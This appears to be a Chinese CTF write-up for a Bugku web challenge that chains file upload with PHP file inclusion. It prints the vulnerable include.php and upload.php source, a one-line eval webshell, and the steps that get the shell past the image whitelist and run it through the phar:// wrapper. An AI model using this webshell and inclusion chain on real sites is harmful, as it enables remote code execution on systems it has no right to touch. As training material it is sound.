test.bugku-web-upload—文件上传与文件包含组合
右键查看源码发现
继续查看源码,提示参数是file,还有一个upload.php
跟进upload.php,是个上传界面
那就可以猜测出是 文件上传与文件包含的组合,所以直接先使用伪协议查看源码,使用的是php://filter
协议
php://filter/convert.base64-encode/resource=
首先读取include.php的源码
发现后缀多了一个.php,所以就不加.php了
base64解码
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>
发现,过滤了一些字符和协议,添加了 .php
的后缀
继续读取upload.php 看看其过滤了什么
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
<?php
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
简单的审计,添加了白名单,只能上传 gif、jpg、png 格式的,但是没有对内容过滤,所以可以上传图片马,然后再将其包含即可,这里尝试使用了 zip: //
,但是失败了,提示没有开启,但是我们还可以使用另一个协议 phar://
跟zip: //
协议差不多,都是可以访问zip格式压缩包内容,所以接下来我们就开始准备和上传我们的图片马
首先写一句话木马 shell.php
<?php @eval($_REQUEST['hack']);highlight_file(__FILE__);?>
然后将 shell.php 打包成 zip 文件
接着将shell.zip
更改为 shell.png
,就是修改后缀名为png
然后将我们的图片马上传,成功上传
接着使用 phar://
伪协议读取,没有报错且成功解析
include.php?file=phar://upload/shell.png/shell
这里需要注意,后面的 /shell
目录,一定要和图片名称一样(图片名称即刚刚zip文件里的php文件名),不然会报错,因为压缩包中没有 aaa.php 这个文件
成功包含解析,剩下的就是蚁剑连接或者直接执行命令即可